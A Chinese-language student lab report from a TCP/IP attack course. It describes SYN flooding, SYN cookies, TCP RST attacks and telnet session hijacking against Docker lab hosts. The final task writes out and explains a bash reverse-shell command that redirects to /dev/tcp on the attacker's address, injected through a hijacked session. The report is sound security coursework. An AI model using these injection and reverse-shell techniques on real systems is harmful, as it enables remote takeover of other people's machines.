作业题目
本实验的学习目标是让学生获得有关漏洞以及针对这些漏洞的攻击的第一手经验。聪明人从错误中学习。在安全教育中,我们研究导致软件漏洞的错误。研究过去的错误不仅有助于学生理解为什么系统容易受到攻击,为什么“看似良性”的错误会变成灾难,以及为什么需要许多安全机制。更重要的是,它还帮助学生了解漏洞的常见模式,从而避免将来犯类似的错误。此外,使用漏洞作为案例研究,学生可以学习安全设计、安全编程和安全测试的原则。
TCP/IP协议中的漏洞代表了协议设计和实现中的一种特殊类型的漏洞;它们提供了一个宝贵的教训,说明了为什么安全性应该从一开始就设计好,而不是事后才加上。此外,研究这些漏洞有助于学生了解网络安全的挑战以及为什么需要许多网络安全措施。在本实验中,学生将对TCP进行几个攻击。本实验涵盖以下主题:
- TCP协议
- TCP SYN洪水攻击和SYN cookie
- TCP重置攻击
- TCP会话劫持攻击
- 反向Shell
实验步骤及结果
Lab Environment
实验使用docker创建三个容器充当三个主机(Host A, Host B, Host C),这三个主机和本虚拟机(攻击者)在同一个局域网中。
首先删除之前创建的docker:
然后创建docker,开启docker:
三台主机成功开启。
Task 1: SYN Flooding Attack
SYN泛洪攻击是一种Dos攻击,攻击者向服务器发送大量的TCP连接请求(初始SYN包),但不完整完成三次握手。
当服务器收到初始SYN包时,会使用一个叫作传输控制块(TCB)的特殊数据结构来存储信息,TCB被放在只用于存放半打开连接的队列中,在完成连接之前,TCB不会被丢弃(除了超时和收到RST)。这个队列的大小是有限的,如果攻击者快速填满这个队列,服务器就没有空间存储TCB,也就没有任何人可以连接这个服务器了。
Task 1.1: Launching the Attack Using Python
目的: 完成对Host A telnet远程连接服务的SYN泛洪攻击。
分析实验的示例代码:
代码设置tcp标志位为S。
随机产生32个bit,作为数据包IP头的随机IP地址(IP相同,攻击容易被防火墙屏蔽),再随机生成端口号和序列号(客户端没有注册端口号,初始化连接时端口好和序列号都是随机的)设置为数据包TCP头的端口号和序列号。 最后不停发送SYN包到被攻击服务器。
在示例代码的基础上,我们只需要完善被攻击服务器的IP和端口号。
我们攻击Host A的telnet服务器,设置dst=10.9.0.5,dport=23.
查看服务器TCB队列的最大值:
检查当前队列的使用情况:
没有半打开连接(SYN_RECV)。
开始SYN泛洪攻击:
一段时间后,用本虚拟机尝试远程连接Host A:
还是可以连接。
再次查看服务器中半打开连接的状态:
队列中充满了半打开连接。
结合实验文档中的内容:SYN Cookie被禁用后,TCP为“已验证的目的地”保留四分之一的积压队列,猜想是因为在攻击之前本虚拟机已经和Host A连接过,虚拟机IP被Host A记住。
查看Host A缓存:
发现确实如此。
清除缓存:
重新攻击:
远程连接Host A,还是不行。
把服务器队列改小:
再次攻击,远程连接Host A:
连接失败,攻击成功。
Task 1.2: Launch the Attack Using C
目的:用C代码实现上诉功能。
编写代码synflood.c:
根据上次实验的经验,创建ipheader,tcpheader实现类型转换,方便通过字段名对数据包头部的域进行访问。
创建pseudo_tcp模拟TCP协议的一部分:
在缓存中创建数据包,填写tcp头和ip头,用calculate_tcp_checksum()计算tcp校验和:
calculate_tcp_checksum()的实现:
最后用send_raw_ip_packet()发送SYN包:
将队列大小改为原来的大小:
编译代码并执行:
攻击成功:
Task 1.3: Enable the SYN Cookie Countermeasure
目的:开启SYN cookies保护机制再次攻击比较结果。
开启SYN cookies保护机制:
再次攻击:
攻击未成功:
SYN cookies机制的思想是,服务器在收到SYN包时不把它放入班打开连接队列,这样就不会有队列满了的风险,同时利用TCP初始序列号生成哈希值作为返回给客户端的初始序列号,避免ACK泛洪攻击。
Task 2: TCP RST Attacks on telnet Connections
目的:利用TCP RST攻击终止两个受害者之间已建立的TCP连接。
在建立TCP连接后,一方只需要发送一个TCP RST包给对方,连接就会立刻中断。攻击者利用这一点,冒充一方发送RST包中断他们之间的TCP连接就是TCP RST攻击。
每个TCP连接都由一个四元组唯一标识:源IP,源端口,目的IP,目的端口,伪造的数据包这四个域必须要和连接中使用的一样;伪造数据包的序列号必须要正确(在接收方窗口内),不然会被丢弃。
可以通过嗅探来得到正确的序列号。
用本虚拟机连接10.9.0.5,同时用wireshark抓包:
最后一个包从本虚拟机发向Host A,源端口是57032,下一个序列号是
编写代码rst.py:
代码伪造RST数据包从本虚拟机发送到Host A。
执行程序:
连接被中断:
查看wireshark:
发现,本虚拟机发送了一个RST包到Host A。
Task 3: TCP Session Hijacking
目的:在两台计算机之间劫持一个远程网络会话,让telnet服务器从攻击者处运行恶意命令。
TCP会话劫持攻击是通过向该会话中注入恶意内容来劫持两个受害者之间的现有TCP连接。
会话劫持需要知道唯一标识TCP连接的四元组,包的序列号以及确认号。
所以,连接Host A找到从客户端发往服务器端的最后一个telnet数据包。
编写代码session.py:
TCP的有效载荷就是攻击者想要服务器端运行的命令。
用data设置TCP有效载荷为恶意命令(这里用echo This is bad code\n\0代替)。
执行程序:
成功劫持:
输入内容不会有任何响应,本虚拟机和Host A之间有很多重传包,10.9.0.1的远程连接终端已经锁死。
这是因为攻击者注入的数据打乱了虚拟机和Host A之间的序列号。Host A回复欺骗包,但对虚拟机来说,还没有到这个序列号,就会丢弃这个回复包,也不会确认,没有被确认,Host A就会一直重传;在虚拟机的telnet程序中输入内容时,因为序列号已经被欺骗包使用,所以Host A会认为这是重复数据而不理睬。
Task 4: Creating Reverse Shell using TCP Session Hijacking
目的:通过会话劫持攻击运行反向shell。
反向shell是一个在远程机器上运行的shell进程,它可以从攻击者端得到输入,并把输出交给攻击者端。
Shell程序在Host A运行,使用的是本地的输入输出设备,为了控制shell程序,我们要让shell程序使用我们控制的输入输出设备。
可以使用TCP伪设备进行shell的输入输出。
远程连接Host A,用wireshark抓包:
编写代码rshell.py:
data是我们创建反向shell的指令。
/bin/bash -i:在Host A创建一个允许用户实时互动的shell。
> /dev/tcp/10.9.0.1/9090:改shell的标准输出,将输出重定向到一个叫做/dev/tcp/10.9.0.1/9090的文件,这不是一个真实的文件,而是/dev中的虚拟文件,意味着数据会发送到10.9.0.1(本虚拟机)的9090端口。
所以,我们监听本虚拟机的9090端口:
0<&1:使用文件描述符1作为输入设备。
2>&1:重定向标准错误设备到文件描述符1。
执行代码:
成功劫持会话:
成功创建反向shell: